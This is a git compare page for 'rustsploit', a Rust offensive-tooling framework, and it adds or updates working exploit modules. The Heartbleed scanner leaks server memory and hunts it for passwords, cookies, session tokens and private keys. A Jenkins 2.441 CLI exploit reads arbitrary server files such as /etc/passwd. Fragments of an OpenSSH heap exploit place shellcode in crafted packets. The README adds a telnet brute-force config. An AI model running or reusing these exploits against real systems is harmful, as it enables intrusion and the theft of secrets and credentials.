Compare commits

...

16 Commits

Author SHA1 Message Date
S.B 5f75e369cc Merge pull request #24 from s-b-repo/konimta
Konimta
2025-11-20 14:32:19 +02:00
S.B 80a4a5843c Update changelog.md 2025-11-20 14:31:04 +02:00
S.B 1051216ddd Update telnet_bruteforce.rs 2025-11-20 14:28:15 +02:00
S.B 8eb8058ad6 Update README.md 2025-11-20 08:42:10 +02:00
S.B 63f8cac2ca Add files via upload 2025-11-20 08:38:40 +02:00
S.B 71bc20cee0 Merge pull request #23 from s-b-repo/tsinurao-mod-chip
Tsinurao mod chip
2025-11-20 08:36:18 +02:00
S.B 34b6faf140 Update changelog.md 2025-11-20 07:32:13 +02:00
S.B 7f359683da Update changelog.md 2025-11-20 07:31:23 +02:00
S.B 1bbe3ae651 Add files via upload 2025-11-20 07:30:42 +02:00
S.B 6100aa9964 Delete src directory 2025-11-20 07:23:20 +02:00
S.B 0e3da4499f Update README.md 2025-11-16 19:23:51 +02:00
S.B 55a30f91f0 Update README.md 2025-11-16 19:22:16 +02:00
S.B 33284b158a Update Cargo.toml 2025-11-16 19:20:41 +02:00
S.B 624090055c Update changelog.md 2025-11-16 19:19:28 +02:00
S.B f60e5e50ca Add files via upload 2025-11-16 19:18:48 +02:00
S.B 05f1a03dfc Delete src directory 2025-11-16 19:13:49 +02:00
14 changed files with 4913 additions and 869 deletions
+1 -1
View File
@@ -1,6 +1,6 @@
[package]
name = "rustsploit"
version = "0.2.0"
version = "0.3.5"
edition = "2021"
build = "build.rs"
+51 -18
View File
@@ -3,6 +3,8 @@
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/testing.png)
- 📚 **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- 💬 **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
@@ -61,7 +63,7 @@ Run `modules` or `find <keyword>` in the shell for the authoritative list.
### Requirements
```bash
```
sudo apt update
sudo apt install freerdp2-x11 # Required for the RDP brute force module
```
@@ -70,7 +72,7 @@ Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
### Clone + Build
```bash
```
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
cargo build
@@ -78,13 +80,13 @@ cargo build
### Run (Interactive Shell)
```bash
```
cargo run
```
### Install (optional)
```bash
```
cargo install --path .
```
@@ -102,7 +104,7 @@ Rustsploit ships with a standalone provisioning script that builds and launches
### Interactive Setup
```bash
```
python3 scripts/setup_docker.py
```
@@ -125,7 +127,7 @@ Existing files are never overwritten without confirmation (use `--force` for scr
All prompts have CLI equivalents:
```bash
```
python3 scripts/setup_docker.py \
--bind 0.0.0.0:8443 \
--generate-key \
@@ -138,7 +140,7 @@ python3 scripts/setup_docker.py \
This produces the Docker assets but skips the compose launch. To start the stack later:
```bash
```
docker compose -f docker-compose.rustsploit.yml up -d --build
```
@@ -187,7 +189,7 @@ If proxy mode is enabled, Rustsploit rotates through validated proxies, falls ba
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
```bash
```
# Exploit
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
@@ -208,7 +210,7 @@ Rustsploit includes a REST API server mode that allows remote control of the too
### Starting the API Server
```bash
```
# Basic API server (defaults to 0.0.0.0:8080)
cargo run -- --api --api-key your-secret-key-here
@@ -236,7 +238,7 @@ cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
All endpoints except `/health` require authentication via the `Authorization` header:
```bash
```
# Bearer token format
Authorization: Bearer your-api-key-here
@@ -247,19 +249,19 @@ Authorization: ApiKey your-api-key-here
#### Public Endpoints
- **`GET /health`** - Health check (no authentication required)
```bash
```
curl http://localhost:8080/health
```
#### Protected Endpoints
- **`GET /api/modules`** - List all available modules
```bash
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
```
- **`POST /api/run`** - Execute a module on a target
```bash
```
curl -X POST -H "Authorization: Bearer your-api-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
@@ -267,26 +269,57 @@ Authorization: ApiKey your-api-key-here
```
- **`GET /api/status`** - Get API server status and statistics
```bash
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
```
- **`POST /api/rotate-key`** - Manually rotate the API key
```bash
```
curl -X POST -H "Authorization: Bearer your-api-key" \
http://localhost:8080/api/rotate-key
```
- **`GET /api/ips`** - Get all tracked IP addresses with details
```bash
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
```
- **`GET /api/auth-failures`** - Get authentication failure statistics
```bash
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
```
### telnet config example
```
{
"port": 23,
"username_wordlist": "usernames.txt",
"password_wordlist": "passwords.txt",
"threads": 10,
"delay_ms": 50,
"connection_timeout": 3,
"read_timeout": 1,
"stop_on_success": true,
"verbose": false,
"full_combo": true,
"raw_bruteforce": false,
"raw_charset": "",
"raw_min_length": 0,
"raw_max_length": 0,
"output_file": "results.txt",
"append_mode": false,
"pre_validate": true,
"retry_on_error": true,
"max_retries": 2,
"login_prompts": ["login:", "username:"],
"password_prompts": ["password:"],
"success_indicators": ["$", "#", "welcome"],
"failure_indicators": ["incorrect", "failed"]
}
```
### Security Features
#### Rate Limiting
@@ -317,7 +350,7 @@ Log entries include:
### Example API Workflow
```bash
```
# 1. Start the API server
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
+1080
View File
File diff suppressed because it is too large Load Diff
+6 -14
View File
@@ -350,11 +350,12 @@ impl ApiState {
async fn auth_middleware(
State(state): State<ApiState>,
ConnectInfo(addr): ConnectInfo<SocketAddr>,
headers: HeaderMap,
request: Request,
next: Next,
) -> Response {
// Extract IP address first - try to get from headers first (for proxied requests)
// Extract IP address - try to get from headers first (for proxied requests)
let client_ip = headers
.get("x-forwarded-for")
.or_else(|| headers.get("x-real-ip"))
@@ -366,16 +367,8 @@ async fn auth_middleware(
.trim()
.to_string()
})
.filter(|s| !s.is_empty());
// Fall back to direct connection IP from request extensions
let client_ip = if let Some(ip) = client_ip {
ip
} else if let Some(addr) = request.extensions().get::<ConnectInfo<SocketAddr>>() {
addr.ip().to_string()
} else {
"unknown".to_string()
};
.filter(|s| !s.is_empty())
.unwrap_or_else(|| addr.ip().to_string());
// Check rate limit before processing authentication
if client_ip != "unknown" {
@@ -702,7 +695,7 @@ pub async fn start_api_server(
let app = Router::new()
.route("/health", get(health_check))
.merge(protected_routes)
.layer(ServiceBuilder::new().layer(TraceLayer::new_for_http()).into_inner())
.layer(ServiceBuilder::new().layer(TraceLayer::new_for_http()))
.with_state(state);
let listener = tokio::net::TcpListener::bind(bind_address)
@@ -720,5 +713,4 @@ pub async fn start_api_server(
.context("API server error")?;
Ok(())
}
}
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+375 -72
View File
@@ -1,37 +1,268 @@
use anyhow::{Context, Result};
use anyhow::{Context, Result, bail};
use std::fs::File;
use std::io::Write;
use std::io::{Write, BufRead, BufReader};
use std::net::ToSocketAddrs;
use std::path::Path;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
use tokio::time::{timeout, Duration, sleep};
use regex::Regex;
use std::sync::Arc;
use tokio::sync::Semaphore;
use futures::stream::{FuturesUnordered, StreamExt};
use colored::Colorize;
/// Entry point for dispatcher uses default port 443
pub async fn run(target: &str) -> Result<()> {
run_with_port(target, 443).await
const MAX_RETRIES: u32 = 3;
const INITIAL_BACKOFF_MS: u64 = 500;
const MAX_CONCURRENT: usize = 10;
const DEFAULT_HEARTBEAT_ATTEMPTS: usize = 5;
#[derive(Clone)]
pub struct ScanConfig {
pub port: u16,
pub payload_size: u16,
pub heartbeat_attempts: usize,
pub batch_file: Option<String>,
}
/// Full Heartbleed scanner with user-defined port (used internally)
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
// 1) Trim whitespace and strip _all_ bracket layers:
impl Default for ScanConfig {
fn default() -> Self {
Self {
port: 443,
payload_size: 0x4000,
heartbeat_attempts: DEFAULT_HEARTBEAT_ATTEMPTS,
batch_file: None,
}
}
}
pub async fn run(target: &str) -> Result<()> {
let config = get_user_config(target)?;
run_with_config(target, config).await
}
fn get_user_config(target: &str) -> Result<ScanConfig> {
let mut config = ScanConfig::default();
println!("{}", "=== Heartbleed Scanner Configuration ===".cyan().bold());
println!();
print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
if let Ok(port) = input.trim().parse::<u16>() {
if port > 0 {
config.port = port;
}
}
print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
if let Ok(size) = input.trim().parse::<u16>() {
if size > 0 && size <= 0x4000 {
config.payload_size = size;
} else if size > 0x4000 {
println!("{}", "Warning: Payload size capped at 16KB (0x4000)".yellow());
config.payload_size = 0x4000;
}
}
print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
if let Ok(attempts) = input.trim().parse::<usize>() {
if attempts > 0 && attempts <= 20 {
config.heartbeat_attempts = attempts;
} else if attempts > 20 {
println!("{}", "Warning: Too many attempts, capped at 20".yellow());
config.heartbeat_attempts = 20;
}
}
if target.is_empty() {
print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
print!("{}", "Enter batch file path: ".green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
let batch_file = input.trim().to_string();
if !batch_file.is_empty() {
if Path::new(&batch_file).exists() {
config.batch_file = Some(batch_file);
} else {
println!("{}", format!("Warning: File '{}' not found, skipping batch mode", batch_file).yellow());
}
}
}
}
println!();
println!("{}", "Configuration Summary:".cyan().bold());
println!(" Port: {}", config.port);
println!(" Payload Size: {} bytes", config.payload_size);
println!(" Heartbeat Attempts: {}", config.heartbeat_attempts);
if let Some(ref batch) = config.batch_file {
println!(" Batch File: {}", batch);
}
println!();
Ok(config)
}
pub async fn run_with_config(target: &str, config: ScanConfig) -> Result<()> {
if let Some(batch_file) = &config.batch_file {
run_batch_scan(batch_file, &config).await
} else {
scan_single_target(target, &config).await
}
}
async fn run_batch_scan(batch_file: &str, config: &ScanConfig) -> Result<()> {
let file = File::open(batch_file)
.with_context(|| format!("Failed to open batch file: {}", batch_file))?;
let reader = BufReader::new(file);
let targets: Vec<String> = reader
.lines()
.filter_map(|line| line.ok())
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty() && !line.starts_with('#'))
.collect();
if targets.is_empty() {
bail!("No valid targets found in batch file");
}
println!("{}", format!("[*] Loaded {} targets from batch file", targets.len()).cyan());
println!("{}", format!("[*] Starting concurrent scan with max {} concurrent connections\n", MAX_CONCURRENT).cyan());
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT));
let mut tasks = FuturesUnordered::new();
for target in targets {
let config_clone = config.clone();
let sem = semaphore.clone();
tasks.push(tokio::spawn(async move {
let _permit = sem.acquire().await.unwrap();
scan_single_target(&target, &config_clone).await
}));
}
while let Some(result) = tasks.next().await {
if let Err(e) = result {
eprintln!("{}", format!("[-] Task error: {}", e).red());
}
}
println!("{}", "\n[*] Batch scan complete".green().bold());
Ok(())
}
async fn scan_single_target(target: &str, config: &ScanConfig) -> Result<()> {
let raw = target.trim();
if raw.is_empty() {
bail!("Target address cannot be empty");
}
let stripped = raw
.trim_start_matches('[')
.trim_end_matches(']');
// 2) If it looks like an IPv6 literal (contains ':'), re-bracket exactly once:
let host = if stripped.contains(':') {
let host = if stripped.contains(':') && !stripped.contains('.') {
format!("[{}]", stripped)
} else {
stripped.to_string()
};
// 3) Build the addr string with port:
let addr = format!("{}:{}", host, port);
let addr = format!("{}:{}", host, config.port);
println!("[*] Connecting to {}...", addr);
println!("{}", format!("[*] Target: {} | Payload: {} bytes | Attempts: {}",
addr, config.payload_size, config.heartbeat_attempts).cyan());
let mut all_leaked_data = Vec::new();
for attempt in 1..=config.heartbeat_attempts {
println!("{}", format!("[*] Heartbeat attempt {}/{}", attempt, config.heartbeat_attempts).cyan());
match scan_with_retry(&addr, config.payload_size).await {
Ok(Some(data)) => {
println!("{}", format!("[+] Attempt {} leaked {} bytes", attempt, data.len()).green());
all_leaked_data.extend_from_slice(&data);
}
Ok(None) => {
println!("{}", format!("[-] Attempt {} failed to leak data", attempt).yellow());
}
Err(e) => {
println!("{}", format!("[-] Attempt {} error: {}", attempt, e).red());
}
}
if attempt < config.heartbeat_attempts {
sleep(Duration::from_millis(100)).await;
}
}
if all_leaked_data.is_empty() {
println!("{}", format!("[-] No data leaked from {} - likely not vulnerable\n", addr).red());
return Ok(());
}
println!();
println!("{}", format!("[+] Total leaked data: {} bytes", all_leaked_data.len()).green().bold());
println!("{}", format!("[+] Server {} is VULNERABLE to Heartbleed!", addr).red().bold());
println!();
analyze_leaked_data(&all_leaked_data);
let safe_filename = stripped
.replace(':', "_")
.replace('/', "_")
.replace('\\', "_");
let filename = format!("leak_dump_{}.bin", safe_filename);
save_leak_dump(&filename, &all_leaked_data)?;
println!("{}", format!("[+] Full leak dump saved to: {}\n", filename).green());
Ok(())
}
async fn scan_with_retry(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
let mut backoff = INITIAL_BACKOFF_MS;
for retry in 0..MAX_RETRIES {
if retry > 0 {
println!("{}", format!("[*] Retry {}/{} after {}ms...", retry, MAX_RETRIES - 1, backoff).yellow());
sleep(Duration::from_millis(backoff)).await;
backoff *= 2;
}
match perform_heartbleed_test(addr, payload_size).await {
Ok(data) => return Ok(data),
Err(e) if retry < MAX_RETRIES - 1 => {
println!("{}", format!("[-] Connection failed: {} - retrying...", e).yellow());
continue;
}
Err(e) => return Err(e),
}
}
bail!("All retry attempts exhausted")
}
async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
@@ -41,79 +272,153 @@ pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => {
println!("[-] Connection to {} failed: {}", socket_addr, e);
return Ok(());
}
Err(_) => {
println!("[-] Connection to {} timed out", socket_addr);
return Ok(());
}
Ok(Err(e)) => bail!("Connection failed: {}", e),
Err(_) => bail!("Connection timed out"),
};
println!("[*] Sending Client Hello...");
stream.write_all(&build_client_hello()).await?;
stream.write_all(&build_client_hello()).await
.context("Failed to send Client Hello")?;
stream.flush().await
.context("Failed to flush after Client Hello")?;
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {}
Ok(Ok(_)) => {
println!("[-] No response to Client Hello");
return Ok(());
}
Ok(Err(e)) => {
println!("[-] Read error: {}", e);
return Ok(());
}
Err(_) => {
println!("[-] Read timed out (Client Hello response)");
return Ok(());
}
Ok(Ok(n)) if n > 0 => {},
Ok(Ok(_)) => bail!("No response to Client Hello"),
Ok(Err(e)) => bail!("Read error: {}", e),
Err(_) => bail!("Read timed out"),
}
println!("[*] Sending Heartbeat...");
stream.write_all(&build_heartbeat_request(0x4000)).await?;
stream.write_all(&build_heartbeat_request(payload_size)).await
.context("Failed to send Heartbeat request")?;
stream.flush().await
.context("Failed to flush after Heartbeat")?;
let mut leak = vec![0u8; 65535];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
let n = match read_result {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => {
println!("[-] No heartbeat response.");
return Ok(());
}
Ok(Err(e)) => {
println!("[-] Read error: {}", e);
return Ok(());
}
Err(_) => {
println!("[-] Read timed out (heartbeat response)");
return Ok(());
}
Ok(Ok(_)) => return Ok(None),
Ok(Err(_)) => return Ok(None),
Err(_) => return Ok(None),
};
println!("[+] Received {} bytes in heartbeat response!", n);
let filename = format!("leak_dump_{}.bin", stripped.replace(':', "_"));
let path = Path::new(&filename);
if n <= 5 {
return Ok(None);
}
Ok(Some(leak[..n].to_vec()))
}
fn analyze_leaked_data(data: &[u8]) {
println!("{}", "[*] Analyzing leaked data for sensitive patterns...\n".cyan().bold());
let data_str = String::from_utf8_lossy(data);
let password_patterns = vec![
(r"password[=:]\s*[^\s&]{3,}", "Password"),
(r"passwd[=:]\s*[^\s&]{3,}", "Password"),
(r"pwd[=:]\s*[^\s&]{3,}", "Password"),
(r"pass[=:]\s*[^\s&]{3,}", "Password"),
];
for (pattern, label) in password_patterns {
if let Ok(re) = Regex::new(pattern) {
for cap in re.find_iter(&data_str) {
println!("{}", format!("[!] {} found: {}", label, cap.as_str()).red().bold());
}
}
}
let cookie_re = Regex::new(r"Cookie:\s*([^\r\n]+)").ok();
if let Some(re) = cookie_re {
for cap in re.captures_iter(&data_str) {
if let Some(cookie) = cap.get(1) {
println!("{}", format!("[!] Cookie found: {}", cookie.as_str()).yellow().bold());
}
}
}
let session_patterns = vec![
r"PHPSESSID=[a-zA-Z0-9]{20,}",
r"JSESSIONID=[a-zA-Z0-9]{20,}",
r"session[_-]?id[=:][a-zA-Z0-9]{20,}",
];
for pattern in session_patterns {
if let Ok(re) = Regex::new(pattern) {
for cap in re.find_iter(&data_str) {
println!("{}", format!("[!] Session token found: {}", cap.as_str()).yellow().bold());
}
}
}
let key_markers = vec![
"-----BEGIN RSA PRIVATE KEY-----",
"-----BEGIN PRIVATE KEY-----",
"-----BEGIN EC PRIVATE KEY-----",
"-----BEGIN DSA PRIVATE KEY-----",
"-----BEGIN OPENSSH PRIVATE KEY-----",
];
for marker in key_markers {
if data_str.contains(marker) {
println!("{}", format!("[!!!] PRIVATE KEY DETECTED: {}", marker).red().bold().on_yellow());
}
}
let auth_re = Regex::new(r"Authorization:\s*([^\r\n]+)").ok();
if let Some(re) = auth_re {
for cap in re.captures_iter(&data_str) {
if let Some(auth) = cap.get(1) {
println!("{}", format!("[!] Authorization header found: {}", auth.as_str()).yellow().bold());
}
}
}
let email_re = Regex::new(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}").ok();
if let Some(re) = email_re {
let mut emails = std::collections::HashSet::new();
for cap in re.find_iter(&data_str) {
emails.insert(cap.as_str().to_string());
}
if !emails.is_empty() {
println!();
println!("{}", format!("[*] Email addresses found: {}", emails.len()).cyan());
for (i, email) in emails.iter().take(5).enumerate() {
println!(" {}: {}", i + 1, email);
}
if emails.len() > 5 {
println!(" ... and {} more", emails.len() - 5);
}
}
}
println!();
println!("{}", "[*] Printable data preview (first 512 bytes):".cyan());
println!("{}", printable_dump(&data[..data.len().min(512)]));
}
fn save_leak_dump(filename: &str, data: &[u8]) -> Result<()> {
let path = Path::new(filename);
let mut file = File::create(path)
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
file.write_all(&leak[..n])
file.write_all(data)
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
println!("[+] Leak dump saved to: {}", filename);
println!("{}", printable_dump(&leak[..n]));
Ok(())
}
/// Builds a TLS ClientHello message
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302; // TLS 1.1
let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32;
let version: u16 = 0x0302;
let time_now = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap_or_default()
.as_secs() as u32;
let mut random = vec![];
random.extend_from_slice(&time_now.to_be_bytes());
random.extend_from_slice(&vec![0x42; 28]);
random.extend_from_slice(&[0x42; 28]);
let cipher_suites: Vec<u16> = vec![
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
@@ -122,18 +427,18 @@ fn build_client_hello() -> Vec<u8> {
let mut hello = vec![];
hello.extend_from_slice(&version.to_be_bytes());
hello.extend_from_slice(&random);
hello.push(0); // Session ID length
hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes());
hello.push(0);
hello.extend_from_slice(&((cipher_suites.len() * 2) as u16).to_be_bytes());
for cs in &cipher_suites {
hello.extend_from_slice(&cs.to_be_bytes());
}
hello.push(1); // Compression methods length
hello.push(0); // No compression
hello.push(1);
hello.push(0);
let mut extensions = vec![];
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
extensions.push(0x01); // Extension data
extensions.push(0x01);
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
hello.extend_from_slice(&extensions);
@@ -146,14 +451,12 @@ fn build_client_hello() -> Vec<u8> {
build_tls_record(0x16, version, &handshake)
}
/// Builds a malicious Heartbeat request
fn build_heartbeat_request(length: u16) -> Vec<u8> {
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
build_tls_record(0x18, 0x0302, &payload)
}
/// Wraps payload in a TLS record
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
let mut record = vec![record_type];
record.extend_from_slice(&version.to_be_bytes());
@@ -162,13 +465,13 @@ fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
record
}
/// Converts binary leak to printable ASCII
fn printable_dump(data: &[u8]) -> String {
data.iter()
.map(|b| match *b {
32..=126 => *b as char,
b'\n' | b'\r' | b'\t' => ' ',
b'\n' => '\n',
b'\r' | b'\t' => ' ',
_ => '.',
})
.collect()
}
}
@@ -0,0 +1,238 @@
use std::io::{self, Write};
use std::sync::{Arc, Mutex};
use std::time::Duration;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::time::sleep;
use reqwest::{Client};
use uuid::Uuid;
use regex::Regex;
const TIMEOUT_SECS: u64 = 4;
#[derive(Clone)]
struct ExploitState {
url: String,
identifier: String,
client: Client,
listening: Arc<Mutex<bool>>,
}
impl ExploitState {
fn new(url: String, identifier: String) -> Self {
let client = Client::builder()
.timeout(Duration::from_secs(TIMEOUT_SECS))
.build()
.expect("Failed to create HTTP client");
Self {
url,
identifier,
client,
listening: Arc::new(Mutex::new(false)),
}
}
async fn listen_and_print(&self) -> Result<()> {
let response = self.client
.post(&self.url)
.query(&[("remoting", "false")])
.header("Side", "download")
.header("Session", &self.identifier)
.send()
.await
.context("Failed to connect to target for listener")?;
let output = response.text().await?;
self.print_formatted_output(&output);
*self.listening.lock().unwrap() = false;
Ok(())
}
fn print_formatted_output(&self, output: &str) {
if output.contains("ERROR: No such file") {
println!("{}", "File not found.".red());
return;
} else if output.contains("ERROR: Failed to parse") {
println!("{}", "Could not read file.".red());
return;
}
let re = Regex::new(r#"No such agent "(.*)" exists."#).unwrap();
let results: Vec<String> = re
.captures_iter(output)
.filter_map(|cap| cap.get(1).map(|m| m.as_str().to_string()))
.collect();
if !results.is_empty() {
for line in results {
println!("{}", line);
}
}
}
async fn send_file_request(&self, filepath: &str) -> Result<()> {
let payload = get_payload(filepath);
self.client
.post(&self.url)
.query(&[("remoting", "false")])
.header("Side", "upload")
.header("Session", &self.identifier)
.body(payload)
.send()
.await
.context("Failed to send file request")?;
Ok(())
}
async fn read_file(&self, filepath: &str) -> Result<()> {
*self.listening.lock().unwrap() = true;
sleep(Duration::from_millis(100)).await;
if let Err(e) = self.send_file_request(filepath).await {
*self.listening.lock().unwrap() = false;
return Err(e);
}
while *self.listening.lock().unwrap() {
sleep(Duration::from_millis(100)).await;
}
self.listen_and_print().await?;
Ok(())
}
}
fn get_payload_message(operation_index: u8, text: &str) -> Vec<u8> {
let text_bytes = text.as_bytes();
let text_size = text_bytes.len() as u16;
let mut text_message = Vec::new();
text_message.extend_from_slice(&text_size.to_be_bytes());
text_message.extend_from_slice(text_bytes);
let message_size = text_message.len() as u32;
let mut payload = Vec::new();
payload.extend_from_slice(&message_size.to_be_bytes());
payload.push(operation_index);
payload.extend_from_slice(&text_message);
payload
}
fn get_payload(filepath: &str) -> Vec<u8> {
let arg_operation = 0u8;
let start_operation = 3u8;
let command = get_payload_message(arg_operation, "connect-node");
let poisoned_argument = get_payload_message(arg_operation, &format!("@{}", filepath));
let mut payload = Vec::new();
payload.extend_from_slice(&command);
payload.extend_from_slice(&poisoned_argument);
payload.push(start_operation);
payload
}
fn make_path_absolute(filepath: &str) -> String {
if filepath.starts_with('/') {
filepath.to_string()
} else {
format!("/proc/self/cwd/{}", filepath)
}
}
fn format_target_url(url: &str) -> String {
let url = url.trim_end_matches('/');
format!("{}/cli", url)
}
async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
println!("{}", "Press Ctrl+C to exit".cyan());
loop {
print!("{}", "File to download:\n> ".green().bold());
io::stdout().flush()?;
let mut input = String::new();
match io::stdin().read_line(&mut input) {
Ok(0) => break,
Ok(_) => {
let filepath = input.trim();
if filepath.is_empty() {
continue;
}
let absolute_path = make_path_absolute(filepath);
match state.read_file(&absolute_path).await {
Ok(_) => {}
Err(e) => {
if e.to_string().contains("timeout") {
println!("{}", "Payload request timed out.".yellow());
} else {
println!("{}", format!("Error: {}", e).red());
}
}
}
}
Err(e) => {
eprintln!("Error reading input: {}", e);
break;
}
}
}
Ok(())
}
pub async fn run(args: &str) -> Result<()> {
let parts: Vec<&str> = args.split_whitespace().collect();
if parts.is_empty() {
bail!("Usage: <url> [filepath]\nExample: http://example.com/ /etc/passwd");
}
let url = format_target_url(parts[0]);
let filepath = parts.get(1).map(|s| s.to_string());
let identifier = Uuid::new_v4().to_string();
println!("{}", format!("[*] Target: {}", url).cyan().bold());
println!("{}", format!("[*] Session ID: {}", identifier).cyan());
let state = ExploitState::new(url, identifier);
if let Some(path) = filepath {
let absolute_path = make_path_absolute(&path);
println!("{}", format!("[*] Reading file: {}", absolute_path).cyan());
match state.read_file(&absolute_path).await {
Ok(_) => println!("{}", "[+] File read complete".green().bold()),
Err(e) => {
if e.to_string().contains("timeout") {
println!("{}", "[-] Payload request timed out.".red());
} else {
println!("{}", format!("[-] Error: {}", e).red());
}
}
}
} else {
match start_interactive_file_read(state).await {
Ok(_) => {}
Err(e) => {
if !e.to_string().contains("Interrupted") {
eprintln!("Error: {}", e);
}
}
}
println!("\n{}", "Quitting".yellow());
}
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod jenkins_2_441_lfi;
+1 -1
View File
@@ -17,4 +17,4 @@ pub mod palo_alto;
pub mod roundcube;
pub mod flowise;
pub mod http2;
pub mod jenkins;
@@ -4,7 +4,7 @@ use anyhow::{Result, bail, Context};
use colored::*;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, timeout, Duration, Instant};
use tokio::time::{sleep, Duration, Instant};
use tokio::sync::Semaphore;
use futures_util::stream::{FuturesUnordered, StreamExt};
@@ -33,22 +33,27 @@ fn chunk_align(s: usize) -> usize {
fn create_fake_file_structure(buf: &mut [u8], glibc_base: u64) {
buf.fill(0);
let len = buf.len();
if len > 0x30 + 8 {
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
}
if len >= 16 {
buf[len - 16..len - 8].copy_from_slice(&(glibc_base + FAKE_VTABLE_OFFSET).to_le_bytes());
buf[len - 8..len].copy_from_slice(&(glibc_base + FAKE_CODECVT_OFFSET).to_le_bytes());
}
if len > 0x30 + 8 {
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
}
}
fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
packet.fill(0);
packet[..8].copy_from_slice(b"ssh-rsa ");
let shell_offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
if shell_offset + SHELLCODE.len() <= packet.len() {
packet[shell_offset..shell_offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
}
for i in 0..27 {
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
if pos + chunk_align(304) <= packet.len() {
@@ -58,12 +63,13 @@ fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
}
async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
let len = data.len() + 5;
let mut packet_data = vec![0u8; len];
packet_data[0..4].copy_from_slice(&(len as u32).to_be_bytes());
packet_data[4] = packet_type;
packet_data[5..].copy_from_slice(data);
stream.write_all(&packet_data).await?;
let packet_len = (data.len() + 5) as u32;
stream.write_u32(packet_len).await?;
stream.write_u8(packet_type).await?;
stream.write_all(data).await?;
stream.flush().await?;
Ok(())
}
@@ -123,6 +129,7 @@ async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
stream.flush().await?;
Ok(())
}
@@ -167,65 +174,84 @@ async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
}
